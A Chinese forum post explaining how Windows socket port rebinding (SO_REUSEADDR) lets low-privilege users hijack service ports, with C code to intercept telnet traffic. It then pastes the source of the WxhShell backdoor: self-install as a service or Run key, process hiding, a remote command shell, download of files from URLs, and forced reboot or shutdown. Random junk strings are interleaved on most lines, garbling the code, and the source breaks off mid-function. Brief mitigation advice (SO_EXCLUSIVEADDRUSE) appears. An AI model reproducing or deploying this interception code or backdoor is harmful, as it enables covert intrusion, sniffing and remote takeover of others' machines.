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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [p[C45d=<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a #4 'X*  
>gLLr1L\  
  saddr.sin_family = AF_INET; f6zS_y9gn  
Ig M_l=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F(#~.i  
AV*eGzz`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "/}cV5=Z  
J{bNx8.&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;IYH5sG{  
KK4"H]!.  
  这意味着什么?意味着可以进行如下的攻击: WYNO6Xb#:  
f:|O);nM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hXx.  
?\$\YX%/p  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KL\]1YX  
a#G]5T Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ps_q\R  
S|?Ht61k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &b7i> ()  
+Jv*u8T'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *.ZU" 5e  
aR~Od Ys  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Oe[qfsdW  
<OC|z3na_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .&Ok53]b  
/)E'%/"A  
  #include du k:: |{F  
  #include yL>wCD,L  
  #include t=Um@;wh  
  #include    ,Y3wXmG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I_h{n{,sr  
  int main() ZT'Sw%U:  
  { X0"f>.Lg  
  WORD wVersionRequested; +|=5zWI /  
  DWORD ret; 7yK1Q_XY>  
  WSADATA wsaData; wu2C!gyBo  
  BOOL val; `Ufv,_n  
  SOCKADDR_IN saddr; Vdz(\-}ao  
  SOCKADDR_IN scaddr; #RA3 T[A  
  int err; qTl/bFD  
  SOCKET s; r06M.r   
  SOCKET sc; 0{ ;[k  
  int caddsize; ?dcR!-3  
  HANDLE mt; q"Z!}^{  
  DWORD tid;   WgK|r~  
  wVersionRequested = MAKEWORD( 2, 2 ); QP?Deltp  
  err = WSAStartup( wVersionRequested, &wsaData ); $=-Q]ld&]  
  if ( err != 0 ) { Vt!<.8&`  
  printf("error!WSAStartup failed!\n"); _noQk3N  
  return -1; \"u3 x.!  
  } A->y#KQ  
  saddr.sin_family = AF_INET; 'F[ C 4  
   }&mFpc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ef;Ta|#  
ttK`*Ng  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BLvI[b|3gn  
  saddr.sin_port = htons(23); KZxA\,Y'5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _,i+gI[  
  { yw( E}   
  printf("error!socket failed!\n"); k v}<u  
  return -1; KtFxG6a  
  } S"z cSkF  
  val = TRUE; ]$vJK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N3`W%ws`~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,t]qe  
  { Fc"&lk4e  
  printf("error!setsockopt failed!\n"); 8uO@S*)0  
  return -1; qWzzUM1=  
  } /<s $Am  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f @cs<x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q#i^<WUpg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _x.D< n=X  
g}-Ch#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~BVK6  
  { h!*++Y?&0  
  ret=GetLastError(); WSY&\8   
  printf("error!bind failed!\n"); yT>t[t60/S  
  return -1; Q l$t  
  } v0dFP0.;&  
  listen(s,2); f~.w2Cna  
  while(1) ]/+qM)F  
  { u%7a&1c  
  caddsize = sizeof(scaddr); P~+?:buqc  
  //接受连接请求 _uO#0 )l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'ZHu=UT7_  
  if(sc!=INVALID_SOCKET) WLAJqmC]  
  { Hh bf9)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ikGH:{  
  if(mt==NULL) yMNLsR~rh  
  { J\%<.S>  
  printf("Thread Creat Failed!\n"); V+dfV`*k  
  break; P'Fy,fNg  
  } hao0_9q+  
  } |-zwl8E  
  CloseHandle(mt); sX&M+'h  
  } p.2>- L  
  closesocket(s); :`Kr|3bQ  
  WSACleanup(); TgaDzF,j{A  
  return 0; / -=(51}E  
  }   {}3kla{  
  DWORD WINAPI ClientThread(LPVOID lpParam) /)i)wxi  
  { sK:,c5^  
  SOCKET ss = (SOCKET)lpParam; {I |k@  
  SOCKET sc; xX'Uq_ Jv  
  unsigned char buf[4096]; ndm19M8Y|  
  SOCKADDR_IN saddr; gKZ{O  
  long num; |<.b:e\4  
  DWORD val; |7Q8WjCQ{m  
  DWORD ret; R0<ka[+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n;"4`6L~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J{mP5<8>b  
  saddr.sin_family = AF_INET; 4:}`X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7F-b/AdVq  
  saddr.sin_port = htons(23); 0<L@f=i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K.2M=Q  
  { %f;(  
  printf("error!socket failed!\n"); f*~ 4Kv  
  return -1; LoG@(g&)  
  } Yi[dS`,d  
  val = 100; F_~-o,\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 33kI#45s  
  { %6 <Pt  
  ret = GetLastError(); O#7ldF(  
  return -1; e76@-fg  
  } HHZ!mYr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kXC.rgal  
  { bE>3D#V<  
  ret = GetLastError(); ABV\:u  
  return -1; ,l<-*yMD  
  } z1+rz%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FGx_ qBG4|  
  { 4Uf+t?U9  
  printf("error!socket connect failed!\n"); e #^|NQ<'A  
  closesocket(sc); Z"? AaD[  
  closesocket(ss); Za!c=(5  
  return -1; DuvP3(K  
  } ud:?~?j&w  
  while(1) U30)r+&  
  { ^TWN_(-@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~rCnST  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Wsz='@XvB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <J-OwO a-1  
  num = recv(ss,buf,4096,0); 8"LaP3U  
  if(num>0) )O- x1U  
  send(sc,buf,num,0); %FFw!eVi  
  else if(num==0) @\l> <R9V  
  break; Re1@2a>  
  num = recv(sc,buf,4096,0); -e(2?Xq9  
  if(num>0) /&j4IlT  
  send(ss,buf,num,0); Xs?7Whc6  
  else if(num==0) zF i+6I$  
  break; 8VcAtrx_  
  } W? UCo6<m  
  closesocket(ss); M]` Q4\  
  closesocket(sc); G P1>h.J  
  return 0 ; a`pY&xq::  
  } !P Gow  
H5RHA^p|  
Y)u} +Yg  
========================================================== SbnV U[  
=w A< F  
下边附上一个代码,,WXhSHELL 0v7;Z xD  
3/rvSR!  
========================================================== IVNNiNN*5  
N~>?w#?J  
#include "stdafx.h" CJKH"'u3^  
A}y1v;FB  
#include <stdio.h> c0G/irK  
#include <string.h> f!$J_dz  
#include <windows.h> >qF KXzI  
#include <winsock2.h> ^YIOS]d>8#  
#include <winsvc.h> 8v^i%Gg  
#include <urlmon.h> bOz\-=au  
|I\A0aa  
#pragma comment (lib, "Ws2_32.lib") ,Vs:Lle  
#pragma comment (lib, "urlmon.lib") peqFa._W  
H9)uni   
#define MAX_USER   100 // 最大客户端连接数 |C&eH$?~=R  
#define BUF_SOCK   200 // sock buffer Xi{(1o4%  
#define KEY_BUFF   255 // 输入 buffer [S4\fy0  
*VlYl"  
#define REBOOT     0   // 重启 H4:TYh  
#define SHUTDOWN   1   // 关机 6$6NVq  
ESrWRO f9  
#define DEF_PORT   5000 // 监听端口 rFy9K4D  
Na~_=3+a  
#define REG_LEN     16   // 注册表键长度 '6 'XBL?  
#define SVC_LEN     80   // NT服务名长度 {hg$?4IyQ  
>A,WXzAK}S  
// 从dll定义API 3N*Shzusbt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2mlE;.}8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $GO'L2oLwn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^p7(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =hs@W)-O  
4P~<_]yf  
// wxhshell配置信息 \~)573'  
struct WSCFG { \34|9#*z-  
  int ws_port;         // 监听端口 %|,<\~P  
  char ws_passstr[REG_LEN]; // 口令 nIi_4=Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no QNJG}Upl  
  char ws_regname[REG_LEN]; // 注册表键名 Uqpvj90sw  
  char ws_svcname[REG_LEN]; // 服务名 0&nF Vsz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 654%X(:q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R$@.{d&:w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |Gf{}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o7T|w~F~R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1 I+5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;:e,C@Fm  
g^C6"rsnl  
}; !>:tF,fcB  
aXJe"IT.u  
// default Wxhshell configuration Y@4vQm+  
struct WSCFG wscfg={DEF_PORT, rka:.#!  
    "xuhuanlingzhe", UA8!?r-cR  
    1, 3 #wj-  
    "Wxhshell", ; p_X7N  
    "Wxhshell", l46F3C|  
            "WxhShell Service", 0/gcSW b  
    "Wrsky Windows CmdShell Service", ;?o C=c  
    "Please Input Your Password: ", Km nr }Lp9  
  1, Ii,:+o%  
  "http://www.wrsky.com/wxhshell.exe", p_AV3   
  "Wxhshell.exe" \S<5b&G  
    }; O+8`.  
4AM*KI  
// 消息定义模块 !qpu /  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \Cs<'(=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S }n;..{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J9 =gv0  
char *msg_ws_ext="\n\rExit."; |d3agfS[n  
char *msg_ws_end="\n\rQuit."; * Z:PB%d5  
char *msg_ws_boot="\n\rReboot..."; (>K$gAQH  
char *msg_ws_poff="\n\rShutdown..."; L&N"&\K2U  
char *msg_ws_down="\n\rSave to "; 0/ Ht;(  
'oHR4O*  
char *msg_ws_err="\n\rErr!"; (Lo2fY5  
char *msg_ws_ok="\n\rOK!"; 709eLhXrH  
,![=_d  
char ExeFile[MAX_PATH]; mCGcM^21-x  
int nUser = 0; XJzXxhk2  
HANDLE handles[MAX_USER]; ".)_kt[  
int OsIsNt; %yMzgk[u  
itF+6wv~  
SERVICE_STATUS       serviceStatus; ?W n(ciO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @,MdvR+a  
/( V=Um^0  
// 函数声明 1pb;A;F,A  
int Install(void); 0uz"}v)  
int Uninstall(void); ffM(il/2  
int DownloadFile(char *sURL, SOCKET wsh); 5G<CDgl^!  
int Boot(int flag); 2jW>uk4/i  
void HideProc(void); {Pb^Lf >  
int GetOsVer(void); 3I5WDuq  
int Wxhshell(SOCKET wsl); QRlzGRueR&  
void TalkWithClient(void *cs); 88>Uu!M=f  
int CmdShell(SOCKET sock); Z~(XyaN  
int StartFromService(void); RNdnlD#P  
int StartWxhshell(LPSTR lpCmdLine); Ln_l>X6j51  
^PQV3\N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _")h %)f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hQm4R]a  
m=MT`-:  
// 数据结构和表定义 0'hxw3#  
SERVICE_TABLE_ENTRY DispatchTable[] = OkZ!ZS h  
{ psC7I E<v  
{wscfg.ws_svcname, NTServiceMain}, I{zE73  
{NULL, NULL} XX-T",  
}; q&E5[/VK:  
(g m^o{  
// 自我安装 X^Y9T`mQ}  
int Install(void) ^I{]Um:  
{ k Ml<  
  char svExeFile[MAX_PATH]; uC(S`Q[Bg  
  HKEY key; N >!xedw=  
  strcpy(svExeFile,ExeFile); `&_k\/  
1J"9r7\  
// 如果是win9x系统,修改注册表设为自启动 <~M9 nz(<  
if(!OsIsNt) { -YV4  O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X=pt}j,QrP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  ^qqHq  
  RegCloseKey(key); ?Q)Z..7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cf'}*$[S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -mJ&N  
  RegCloseKey(key); 5{q/z^]  
  return 0; WdqK/s<jM  
    } z4641q5'm  
  } 6B/"M-YME  
} d;SRK @  
else { l :Nxl  
[T]qm7 ?  
// 如果是NT以上系统,安装为系统服务 O{#Cddt:r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g u =fq\`  
if (schSCManager!=0) \hW73a!  
{ ]zU<=b@  
  SC_HANDLE schService = CreateService Sqf.#}u<=  
  ( K=x1m M+RK  
  schSCManager, IKDjatn  
  wscfg.ws_svcname, t!SQLgA  
  wscfg.ws_svcdisp, E$tk1SVo  
  SERVICE_ALL_ACCESS, +~Lzsh"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , htYrv5q=M  
  SERVICE_AUTO_START, -Y=c g;  
  SERVICE_ERROR_NORMAL, -0SuREn  
  svExeFile, $pfe2(8  
  NULL, 4sBoD=e  
  NULL, 5?L:8kHsH  
  NULL, f_h"gZWV  
  NULL, Z 034wn\N  
  NULL ]8>UII,US  
  ); 'uAC oME@  
  if (schService!=0) 0 a6@HwO  
  { 0^.4eX:E_  
  CloseServiceHandle(schService); 2{kfbm-89t  
  CloseServiceHandle(schSCManager); u7zB9iQ&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SE )j}go  
  strcat(svExeFile,wscfg.ws_svcname); tc <M]4-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;9p5YxD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |ak C  
  RegCloseKey(key); qj"syO  
  return 0; [l%fL9  
    } pt%~,M _  
  }  +wW  
  CloseServiceHandle(schSCManager); XjZao<?u  
} BMWeD  
} jnp6qpY{  
%[\x%m)  
return 1; gDNTIOV  
} _K}_h\e.  
z!C4>,  
// 自我卸载 G\>\VA  
int Uninstall(void) `V):V4!j),  
{ uxMy 1oy  
  HKEY key; "8iiRzt#  
O"qa&3t%  
if(!OsIsNt) { VgsCwJ9w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2<o[@w  
  RegDeleteValue(key,wscfg.ws_regname); [G[{l$Eit  
  RegCloseKey(key); QGv:h[b_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *_/eAi/WG  
  RegDeleteValue(key,wscfg.ws_regname); Sd$]b>b4O  
  RegCloseKey(key); 5f&{!N  
  return 0; _HHJw""j  
  } VWA-?%r  
} [^d6cMEOlc  
} ok%a|Zz+]  
else { z?uQlm*We  
aRO_,n9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -~O;tJF2  
if (schSCManager!=0) 9g&)6,<  
{ tct 5*.|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =PKt09b^  
  if (schService!=0) <x0uO  
  { @)Hbgkdi  
  if(DeleteService(schService)!=0) { zGL<m0C  
  CloseServiceHandle(schService); 2mG&@E  
  CloseServiceHandle(schSCManager); iWN.3|r  
  return 0; $:u7Dv}\  
  } E0)mI)RW.  
  CloseServiceHandle(schService); ),p]n  
  } f-v ND'@  
  CloseServiceHandle(schSCManager); *fvI.cKiGP  
} ?9zoQ[  
} ~?`9i>3W~  
W`/jz/  
return 1; j&[3Be'pQ  
} J'&B:PZObB  
!/Bw,y ri<  
// 从指定url下载文件 )-9w3W1r  
int DownloadFile(char *sURL, SOCKET wsh) mam5 G!$  
{ *Nf4bH%MN  
  HRESULT hr; 4&]To@>  
char seps[]= "/"; z)W#&JFF  
char *token; ^tg6JB;s  
char *file; !: EW21m  
char myURL[MAX_PATH]; Qk~0a?#y5  
char myFILE[MAX_PATH]; $-fjrQ  
0 bPJEEd  
strcpy(myURL,sURL); k$0|^GL8  
  token=strtok(myURL,seps); $O~F>.*  
  while(token!=NULL) K+ 7yUF8XP  
  { ,LW(mdIe(  
    file=token; q(&^9"  
  token=strtok(NULL,seps); _]=TFz2O  
  } cEdz;kbUM  
*<.WL"Qhl  
GetCurrentDirectory(MAX_PATH,myFILE); Yn$>QS 4  
strcat(myFILE, "\\"); C;)Xwm>e  
strcat(myFILE, file); 8!&ds~?  
  send(wsh,myFILE,strlen(myFILE),0); =Y]'5cn{  
send(wsh,"...",3,0); ,Og[[0g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VO @ 4A6  
  if(hr==S_OK) zy5s$f1IA  
return 0; EN-8uY.  
else /HjI=263  
return 1; ek(kY6x:  
}/7.+yD  
} CFkW@\]  
fbHWBb  
// 系统电源模块 k67i`f=  
int Boot(int flag) XMeL^|D  
{ /]k ,,&  
  HANDLE hToken; *2"bG1`  
  TOKEN_PRIVILEGES tkp; *,pZ fc  
`b^#quz  
  if(OsIsNt) { oA!5dpNhU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); - 5o<Q'(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EvSnZB1 y  
    tkp.PrivilegeCount = 1; j h1bn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y @XkqvX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B{OW}D$P#  
if(flag==REBOOT) { V`R)#G>IH%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e}](6"t`5  
  return 0; i3M?D}(Bs  
} ]uStn   
else { U!a!|s>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [U%ym{be ^  
  return 0; je- , S>U  
} @Hspg^  
  } F= _uNq  
  else { Cz=A{< ^g  
if(flag==REBOOT) { |c 06ix;).  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <4l.s  
  return 0; Qr|N)  
} I8<Il ^  
else { Giy3eva2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y"|K |QT  
  return 0; t`<}UWAH+  
} $tDCS  
} _XY`UZ  
<K DH  
return 1; Nl=m'4 @`  
} ]= ?X*,'  
5T$9'5V7  
// win9x进程隐藏模块 0\\ueMj  
void HideProc(void) {2}tPT[a(  
{ zqHpT^B?  
pIID= 8RJ.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Wz6]*P`qv  
  if ( hKernel != NULL ) xecieC  
  { jy\W_CT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p|FlWR'mA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Eu`2w%qz  
    FreeLibrary(hKernel); 2y9:'c|  
  } T@K7DkP@  
w|!YoMk+o  
return; nV!2Dfd  
} Xk{!' 0  
Z-^uM`],G  
// 获取操作系统版本 ]+}ZfHp  
int GetOsVer(void) ]~j_N^oZ1X  
{ pr62:  
  OSVERSIONINFO winfo; (*Gi~?-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }j+~'O4m  
  GetVersionEx(&winfo); qy7hkq.uX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fbh6Ls/  
  return 1; olD@W UB  
  else l?[{?Luq  
  return 0; f p v= P  
} JYZ2k=zh  
7>nhIp))  
// 客户端句柄模块 +8LM~voB  
int Wxhshell(SOCKET wsl) cPA~eZbX  
{ 7.wR"1p#  
  SOCKET wsh; wFK:Dp_^  
  struct sockaddr_in client; MuDFdbtR  
  DWORD myID; nwa\Lrh  
;yk9(wea}"  
  while(nUser<MAX_USER) @wd!&%yzO  
{ E/"YId `A  
  int nSize=sizeof(client); ~pHJ0g:t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h|J;6Sm@  
  if(wsh==INVALID_SOCKET) return 1; ]4Nvh\/P9  
?8Hn {3X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]%gp?9wy  
if(handles[nUser]==0) gIV3n#-{L  
  closesocket(wsh); D+| K%_Qq  
else HBt|}uZ?6i  
  nUser++; G"G{AS  
  } SL[rn<x|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :wQC_;  
??%)|nj.  
  return 0; U>/<6 Wd  
} IV)^;i  
pY^pTWs(  
// 关闭 socket AC 9{*K[  
void CloseIt(SOCKET wsh) ggerh#  
{ 7[ZkM+z!  
closesocket(wsh); r/UYC"K3  
nUser--; R'S c  
ExitThread(0); 7MKD_`g  
} <'r0r/0g?  
Iv'RLM  
// 客户端请求句柄 NY4!TOp  
void TalkWithClient(void *cs) NzjMk4t  
{ lr9=OlH  
?wGiog<Q{  
  SOCKET wsh=(SOCKET)cs; JaH* rDs-  
  char pwd[SVC_LEN]; l_^T&xq8  
  char cmd[KEY_BUFF]; Oamv9RyDvC  
char chr[1]; 4 hL`=[AB  
int i,j; oHxGbvQc  
C}n'>],p  
  while (nUser < MAX_USER) { ~Y\QGuT  
^{),+S  
if(wscfg.ws_passstr) { [yO=S0 e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uQeqnGp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m,\i  
  //ZeroMemory(pwd,KEY_BUFF); x^zdTMNhw  
      i=0; I)[`ZVAXR  
  while(i<SVC_LEN) { IO}+[%ptc*  
Xy:Gj, @  
  // 设置超时 uK$=3[;U/!  
  fd_set FdRead; dVvZu% DFp  
  struct timeval TimeOut; 9OPK4-  
  FD_ZERO(&FdRead); v2IEJ  
  FD_SET(wsh,&FdRead); 5iP8D<;o5  
  TimeOut.tv_sec=8; bBA$}bv  
  TimeOut.tv_usec=0; =Nw2;TkB[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6,B-:{{e"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?lF mXZy`  
\|v`l{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V@B7 P{gH  
  pwd=chr[0]; `Ac:f5a  
  if(chr[0]==0xd || chr[0]==0xa) { +T-@5 v[  
  pwd=0; YKc>6)j  
  break; /rqqC(1  
  } qpoquWZ  
  i++; - o4@#p>>  
    } \^Ep>Pq`]  
9X!ET!  
  // 如果是非法用户,关闭 socket h8em\<;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [.{^"<Z<  
} a@Mq J=<L  
B,4q>KQA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b2G2c L-(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g4Y) Bz  
iOl%-Y  
while(1) { ' Q\@19  
:*#rRQ>t  
  ZeroMemory(cmd,KEY_BUFF); ^)|&|  
A_@I_V$  
      // 自动支持客户端 telnet标准   FH4u$ g+  
  j=0; xtOx|FkYcl  
  while(j<KEY_BUFF) { n;%y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6*sw,sU[y  
  cmd[j]=chr[0]; q1H~ |1  
  if(chr[0]==0xa || chr[0]==0xd) { 9t#P~>:jY}  
  cmd[j]=0; t @;WgIp(&  
  break; 7LG+$LEz  
  } %Nl`~Kz9U  
  j++; AU/#b(mI  
    } itw{;j   
)^&,Dj   
  // 下载文件 Jff 79)f  
  if(strstr(cmd,"http://")) { Bw6L;Vu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;xhOj<:  
  if(DownloadFile(cmd,wsh)) *vb^N0P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n|6?J_{<b>  
  else Sobtz}A*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2%5?F n=  
  } %Mh Q  
  else { Tj&'KF8?L  
l"kx r96  
    switch(cmd[0]) { n"iNKR>nW  
  CldDr<k3  
  // 帮助 Mxo6fn6-46  
  case '?': { h!v/s=8c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '5AvT: ^u  
    break; .?B{GnB>  
  } l^ARW E  
  // 安装 \9'!"-i  
  case 'i': { p'gb)nI  
    if(Install()) ?d4Boe0-a2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NIaF5z  
    else YwGH G{?e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lu]o34  
    break; #9i6+. Z  
    } ujx@@N  
  // 卸载 %Z7%jma  
  case 'r': { fSjs?zd`  
    if(Uninstall()) l~rb]6E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oKRFd_r+  
    else alc]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DKTD Z*  
    break; %MbyKz:X  
    } t-!m vx9Z  
  // 显示 wxhshell 所在路径 pr$~8e=c  
  case 'p': { D;jK/2  
    char svExeFile[MAX_PATH]; #MglHQO+  
    strcpy(svExeFile,"\n\r"); U-eI\Lu  
      strcat(svExeFile,ExeFile); 3?@?-q2g  
        send(wsh,svExeFile,strlen(svExeFile),0); 7lR<@$q  
    break; Ew]<jF|.#  
    } c yP,[?N  
  // 重启 H'Ln P>@n#  
  case 'b': { 8bt53ta  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;T>+,  
    if(Boot(REBOOT)) &L%Jy #=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PyFj@n  
    else { 'PpZ/ry$  
    closesocket(wsh); t7bqk!6hM\  
    ExitThread(0); SRItE\"Xe  
    } ~p\n&{P0  
    break; rGQ5l1</  
    } @;;G88=  
  // 关机 )&,K94  
  case 'd': { doM?8C#`  
